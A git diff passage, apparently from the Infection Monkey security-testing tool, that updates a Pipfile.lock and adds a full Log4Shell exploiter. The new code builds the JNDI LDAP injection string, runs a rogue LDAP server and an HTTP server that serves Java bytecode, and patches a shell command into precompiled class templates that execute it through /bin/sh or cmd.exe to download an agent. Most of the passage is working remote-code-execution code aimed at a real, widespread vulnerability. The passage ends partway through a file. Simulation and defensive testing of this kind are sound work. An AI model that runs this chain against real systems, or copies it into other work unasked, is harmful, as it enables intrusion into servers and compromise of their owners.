"sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f", + "sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546", + "sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878", + "sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565", + "sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415" + ], + "markers": "platform_system == 'Windows'", + "version": "==1.0.2" + }, "typing-extensions": { "hashes": [ - "sha256:2cdf80e4e04866a9b3689a51869016d36db0814d84b8d8a568d22781d45d27ed", - "sha256:829704698b22e13ec9eaf959122315eabb370b0884400e9818334d8b677023d9" + "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", + "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" ], "index": "pypi", - "version": "==4.0.0" + "version": "==4.0.1" }, "urllib3": { "hashes": [ @@ -952,11 +1075,11 @@ }, "winacl": { "hashes": [ - "sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee", - "sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59" + "sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a", + "sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50" ], "markers": "python_version >= '3.6'", - "version": "==0.1.1" + "version": "==0.1.2" }, "winsspi": { "hashes": [ @@ -991,12 +1114,98 @@ }, "zipp": { "hashes": [ - "sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832", - "sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc" + "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", + "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" ], "markers": "python_version < '3.10'", - "version": "==3.6.0" + "version": "==3.7.0" + }, + "zope.interface": { + "hashes": [ + "sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192", + "sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702", + "sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09", + "sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4", + "sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a", + "sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3", + "sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf", + "sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c", + "sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d", + "sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78", + "sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83", + "sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531", + "sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46", + "sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021", + "sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94", + "sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc", + "sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63", + "sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54", + "sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117", + "sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25", + "sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05", + "sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e", + "sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1", + "sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004", + "sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2", + "sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e", + "sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f", + "sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f", + "sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120", + "sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f", + "sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1", + "sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9", + "sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e", + "sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7", + "sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8", + "sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b", + "sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155", + "sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7", + "sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c", + "sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325", + "sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d", + "sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb", + "sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e", + "sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959", + "sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7", + "sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920", + "sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e", + "sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48", + "sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8", + "sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4", + "sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==5.4.0" } }, - "develop": {} + "develop": { + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + } + } } diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 668bfb7c4..522c348b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE): def get_open_service_ports(self, port_list, names): # We must append elastic port we get from elastic fingerprint module because It's not # marked as 'http' service - valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) + valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names) if ES_SERVICE in self.host.services: valid_ports.append([ES_PORT, False]) return valid_ports diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f221ebe1f..f3fd7d095 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] _EXPLOITED_SERVICE = "Hadoop" - HADOOP_PORTS = [["8088", False]] + HADOOP_PORTS = [("8088", False)] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE): def _exploit_host(self): # Try to get exploitable url - urls = self.build_potential_urls(self.HADOOP_PORTS) + urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py new file mode 100644 index 000000000..de2d2ace2 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -0,0 +1,196 @@ +import logging +import time + +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit.log4shell_utils import ( + LINUX_EXPLOIT_TEMPLATE_PATH, + WINDOWS_EXPLOIT_TEMPLATE_PATH, + ExploitClassHTTPServer, + LDAPExploitServer, + build_exploit_bytecode, + get_log4shell_service_exploiters, +) +from infection_monkey.exploit.tools.helpers import get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT +from infection_monkey.model import ( + DROPPER_ARG, + LOG4SHELL_LINUX_COMMAND, + LOG4SHELL_WINDOWS_COMMAND, + VictimHost, +) +from infection_monkey.network.info import get_free_tcp_port +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.monkey_dir import get_monkey_dir_path + +logger = logging.getLogger(__name__) + + +class Log4ShellExploiter(WebRCE): + _TARGET_OS_TYPE = ["linux", "windows"] + EXPLOIT_TYPE = ExploitType.VULNERABILITY + _EXPLOITED_SERVICE = "Log4j" + SERVER_SHUTDOWN_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIMEOUT = ( + 5 # Max time agent will wait for the response from victim in SECONDS + ) + + def __init__(self, host: VictimHost): + super().__init__(host) + + self._ldap_port = get_free_tcp_port() + + self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) + self._class_http_server_port = get_free_tcp_port() + + self._ldap_server = None + self._exploit_class_http_server = None + self._agent_http_server_thread = None + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + + def _exploit_host(self): + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return False + + self._start_servers() + try: + return self.exploit(None, None) + finally: + self._stop_servers() + + def _start_servers(self): + # Start http server, to serve agent to victims + paths = self.get_monkey_paths() + agent_http_path = self._start_agent_http_server(paths) + + # Build agent execution command + command = self._build_command(paths["dest_path"], agent_http_path) + + # Start http server to serve malicious java class to victim + self._start_class_http_server(command) + + # Start ldap server to redirect ldap query to java class server + self._start_ldap_server() + + def _start_agent_http_server(self, agent_paths: dict) -> str: + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.try_create_locked_transfer( + self.host, agent_paths["src_path"] + ) + self._agent_http_server_thread = http_thread + return http_path + + def _start_class_http_server(self, command: str): + java_class = self._build_java_class(command) + + self._exploit_class_http_server = ExploitClassHTTPServer( + self._class_http_server_ip, self._class_http_server_port, java_class + ) + self._exploit_class_http_server.run() + + def _start_ldap_server(self): + self._ldap_server = LDAPExploitServer( + ldap_server_port=self._ldap_port, + http_server_ip=self._class_http_server_ip, + http_server_port=self._class_http_server_port, + storage_dir=get_monkey_dir_path(), + ) + self._ldap_server.run() + + def _stop_servers(self): + logger.debug("Stopping all LDAP and HTTP Servers") + self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) + + self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) + + self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) + + def _build_ldap_payload(self) -> str: + interface_ip = get_interface_to_target(self.host.ip_addr) + return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" + + def _build_command(self, path, http_path) -> str: + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path + ) + if "linux" in self.host.os["type"]: + base_command = LOG4SHELL_LINUX_COMMAND + else: + base_command = LOG4SHELL_WINDOWS_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_cmd, + } + + def _build_java_class(self, exploit_command: str) -> bytes: + if "linux" in self.host.os["type"]: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) + + def exploit(self, url, command) -> bool: + # Try to exploit all services, + # because we don't know which services are running and on which ports + for exploit in get_log4shell_service_exploiters(): + for port in self._open_ports: + try: + url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + except Exception as ex: + logger.warning( + "An error occurred while attempting to exploit log4shell on a " + f"potential {exploit.service_name} service: {ex}" + ) + + if self._wait_for_victim(): + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + self.exploit_info["vulnerable_urls"].append(url) + return True + + return False + + def _wait_for_victim(self) -> bool: + victim_called_back = False + + victim_called_back = self._wait_for_victim_to_download_java_bytecode() + if victim_called_back: + self._wait_for_victim_to_download_agent() + + return victim_called_back + + def _wait_for_victim_to_download_java_bytecode(self) -> bool: + start_time = time.time() + + while not self._victim_timeout_expired( + start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT + ): + if self._exploit_class_http_server.exploit_class_downloaded(): + return True + + time.sleep(1) + + return False + + def _wait_for_victim_to_download_agent(self): + start_time = time.time() + + while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT): + if self._agent_http_server_thread.downloads > 0: + break + + time.sleep(1) + + @classmethod + def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool: + return timeout < (time.time() - start_time) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md new file mode 100644 index 000000000..89aa19ddc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md @@ -0,0 +1,31 @@ +# Building Java class templates for log4shell + +## Summary +The log4shell exploiter provides two files, `LinuxExploit.class.template` and +`WindowsExploit.class.templete`. These files are served to a vulnerable machine +via LDAP and HTTP to achieve remote code execution. This README file contains +instructions for rebuilding these template files should it ever become +necessary. + +## Proceedure + +1. Copy the desired Linux or Windows Java source code to a new file named + `Exploit.java`. Both Java source code files contain a class named `Exploit`. + When building Java classes, the class name and the file name must match + exactly. + + ``` + $ cp LinuxExploit.java Exploit.java + ``` + +1. Use `javac` to build the Java class file. + ``` + $ javac Exploit.java + ``` + +1. Rename the `.class` file with the appropriate OS name. + ``` + $ mv Exploit.class LinuxExploit.class.template + ``` + +1. Remove the `Exploit.java` file, as it is no longer needed. diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template new file mode 100644 index 000000000..dc1ffff7a Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template differ diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java new file mode 100644 index 000000000..f60e1ebe9 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"}); + } catch(Exception e) {} + } +} diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template new file mode 100644 index 000000000..71907961f Binary files /dev/null and b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template differ diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java new file mode 100644 index 000000000..e91cfe810 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"}); + } catch(Exception e) {} + } +} diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py new file mode 100644 index 000000000..831ddec48 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -0,0 +1,11 @@ +from pathlib import Path +from .exploit_builder import ( + build_exploit_bytecode, + InvalidExploitTemplateError, +) +from .ldap_server import LDAPExploitServer +from .service_exploiters import get_log4shell_service_exploiters +from .exploit_class_http_server import ExploitClassHTTPServer + +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py new file mode 100644 index 000000000..40b6d8bd4 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -0,0 +1,62 @@ +import struct +from pathlib import Path + +# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce + +INJECTION_TAG = "###" + + +class InvalidExploitTemplateError(Exception): + pass + + +def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes: + """ + Build a payload used to exploit log4shell + :param str payload_command: The command that will be executed on the remote host. + :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with + the placeholder "###". This placeholder will be overwritten + with the contents of payload_command. + :return: Java bytecode that will execute the payload + :rtype: bytes + """ + template_bytecode = _load_template_bytecode(exploit_template_path) + exploit_bytecode = _inject_payload(payload_command, template_bytecode) + + return exploit_bytecode + + +def _load_template_bytecode(exploit_template_path: Path) -> bytes: + with open(exploit_template_path, "rb") as h: + template_bytecode = h.read() + + if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): + raise InvalidExploitTemplateError( + f'The file "{exploit_template_path}" is not a compiled Java class' + ) + + return template_bytecode + + +def _inject_payload(payload: str, template_bytecode: bytes): + payload_bytes = payload.encode() + + if not INJECTION_TAG.encode() in template_bytecode: + raise InvalidExploitTemplateError( + f'Unable to find "{INJECTION_TAG}" tag in the template bytecode' + ) + + index = template_bytecode.index(INJECTION_TAG.encode()) + + exploit_bytecode = ( + template_bytecode[: index - 3] + + str_size(payload_bytes) + + payload_bytes + + template_bytecode[index + 3 :] + ) + + return exploit_bytecode + + +def str_size(data: bytes) -> bytes: + return b"\x01" + struct.pack("!H", len(data)) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py new file mode 100644 index 000000000..612bda270 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -0,0 +1,118 @@ +import http.server +import logging +import threading + +logger = logging.getLogger(__name__) + +HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 + + +# If we need to run multiple HTTP servers in parallel, we'll need to either: +# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable +# 2. Create a metaclass and define the handler class dymanically at runtime +class HTTPHandler(http.server.BaseHTTPRequestHandler): + + java_class: bytes + class_downloaded: threading.Event + download_lock: threading.Lock + + @classmethod + def initialize(cls, java_class: bytes, class_downloaded: threading.Event): + cls.java_class = java_class + cls.class_downloaded = class_downloaded + cls.download_lock = threading.Lock() + + def do_GET(self): + with HTTPHandler.download_lock: + if HTTPHandler.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + HTTPHandler.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + + +class ExploitClassHTTPServer: + """ + An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server + limits the number of requests to one. That is, after one victim has downloaded the java + bytecode, the server will respond with a 429 error to all future requests. + + Note: There can only be one instance of this class at a time due to the way it is implemented. + """ + + def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): + """ + :param ip: The IP address that the server will bind to + :param port: The port that the server will listen on + :param java_class: The compiled Java bytecode that the server will serve + :param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5. + """ + logger.debug(f"The Java Exploit class will be served at {ip}:{port}") + + self._class_downloaded = threading.Event() + self._poll_interval = poll_interval + + HTTPHandler.initialize(java_class, self._class_downloaded) + + self._server = http.server.HTTPServer((ip, port), HTTPHandler) + # Setting `daemon=True` to save ourselves some trouble when this is merged to the + # agent-refactor branch. + # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` + # constructor directly after merging to the agent-refactor branch. + self._server_thread = threading.Thread( + target=self._server.serve_forever, args=(self._poll_interval,), daemon=True + ) + + def run(self): + """ + Runs the HTTP server in the background and blocks until the server has started. + """ + logger.info("Starting ExploitClassHTTPServer") + self._class_downloaded.clear() + + # NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race + # between when `serve_forever()` is ready to handle requests and when the victim machine + # sends its requests. This could change if we switch from multithreading to multiprocessing. + # See + # https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever + # for more information. + self._server_thread.start() + + def stop(self, timeout: float = None): + """ + Stops the HTTP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the HTTP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + """ + if self._server_thread.is_alive(): + logger.debug("Stopping the Java Exploit class HTTP server") + self._server.shutdown() + self._server_thread.join(timeout) + + if self._server_thread.is_alive(): + logger.warning("Timed out while waiting for The HTTP exploit server to stop") + else: + logger.debug("The Java Exploit class HTTP server has stopped") + + def exploit_class_downloaded(self) -> bool: + """ + Returns whether or not a victim has downloaded the Java bytecode from the server. + + :return: True if the victim has downloaded the Java bytecode from the server. False + otherwise. + :rtype: bool + """ + return self._class_downloaded.is_set() diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py new file mode 100644 index 000000000..0b29fd4cf --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -0,0 +1,184 @@ +import logging +import math +import multiprocessing +import tempfile +import threading +import time +from pathlib import Path + +from ldaptor.interfaces import IConnectedLDAPEntry +from ldaptor.ldiftree import LDIFTreeEntry +from ldaptor.protocols.ldap.ldapserver import LDAPServer +from twisted.application import service +from twisted.internet import reactor +from twisted.internet.protocol import ServerFactory +from twisted.python import log +from twisted.python.components import registerAdapter + +logger = logging.getLogger(__name__) + +EXPLOIT_RDN = "dn=Exploit" +REACTOR_START_TIMEOUT_SEC = 30.0 + + +class LDAPServerStartError(Exception): + pass + + +class Tree: + """ + An LDAP directory information tree (DIT) used to exploit log4shell + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) + self.db = LDIFTreeEntry(self.path) + + self._init_db(http_server_ip, http_server_port) + + def _init_db(self, http_server_ip: str, http_server_port: int): + attributes = { + "javaFactory": ["Exploit"], + "objectClass": ["javaNamingReference"], + "javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"], + "javaClassName": ["Exploit"], + } + + self.db.addChild(EXPLOIT_RDN, attributes) + + +class LDAPServerFactory(ServerFactory): + """ + Our Factory is meant to persistently store the ldap tree + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + protocol = LDAPServer + + def __init__(self, root): + self.root = root + + def buildProtocol(self, addr): + proto = self.protocol() + proto.debug = self.debug + proto.factory = self + return proto + + +class LDAPExploitServer: + """ + This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell. + Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html + """ + + def __init__( + self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path + ): + """ + :param ldap_server_port: The port that the LDAP server will listen on. + + :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell + Java class. + + :param http_server_port: The port the HTTP server is listening on. + + :param storage_dir: A directory where the LDAP server can safely store files it needs during + runtime. + """ + self._reactor_startup_completed = multiprocessing.Event() + self._ldap_server_port = ldap_server_port + self._http_server_ip = http_server_ip + self._http_server_port = http_server_port + self._storage_dir = storage_dir + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + + def run(self): + """ + Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the + server and blocks until either the server has successfully started or it times out. + + :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. + """ + logger.info("Starting LDAP exploit server") + self._server_process.start() + reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) + + if not reactor_running: + raise LDAPServerStartError("An unknown error prevented the LDAP server from starting") + + logger.debug("The LDAP exploit server has successfully started") + + def _run_twisted_reactor(self): + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") + self._configure_twisted_reactor() + + # Since the call to reactor.run() blocks, a separate thread is started to poll the value + # of `reactor.running` and set the self._reactor_startup_complete Event when the reactor + # is running. This allows the self.run() function to block until the reactor has + # successfully started. + threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start() + reactor.run() + + def _check_if_reactor_startup_completed(self): + check_interval_sec = 0.25 + num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) + + for _ in range(0, num_checks): + if reactor.running: + logger.debug("Twisted reactor startup completed") + self._reactor_startup_completed.set() + break + + logger.debug("Twisted reactor has not yet started") + time.sleep(check_interval_sec) + + def _configure_twisted_reactor(self): + LDAPExploitServer._output_twisted_logs_to_python_logger() + + registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) + + tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir) + factory = LDAPServerFactory(tree.db) + factory.debug = True + + application = service.Application("ldaptor-server") + service.IServiceCollection(application) + reactor.listenTCP(self._ldap_server_port, factory) + + @staticmethod + def _output_twisted_logs_to_python_logger(): + # Configures Twisted to output its logs using the standard python logging module instead of + # the Twisted logging module. + # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html + log_observer = log.PythonLoggingObserver() + log_observer.start() + + def stop(self, timeout: float = None): + """ + Stops the LDAP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the LDAP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + """ + if 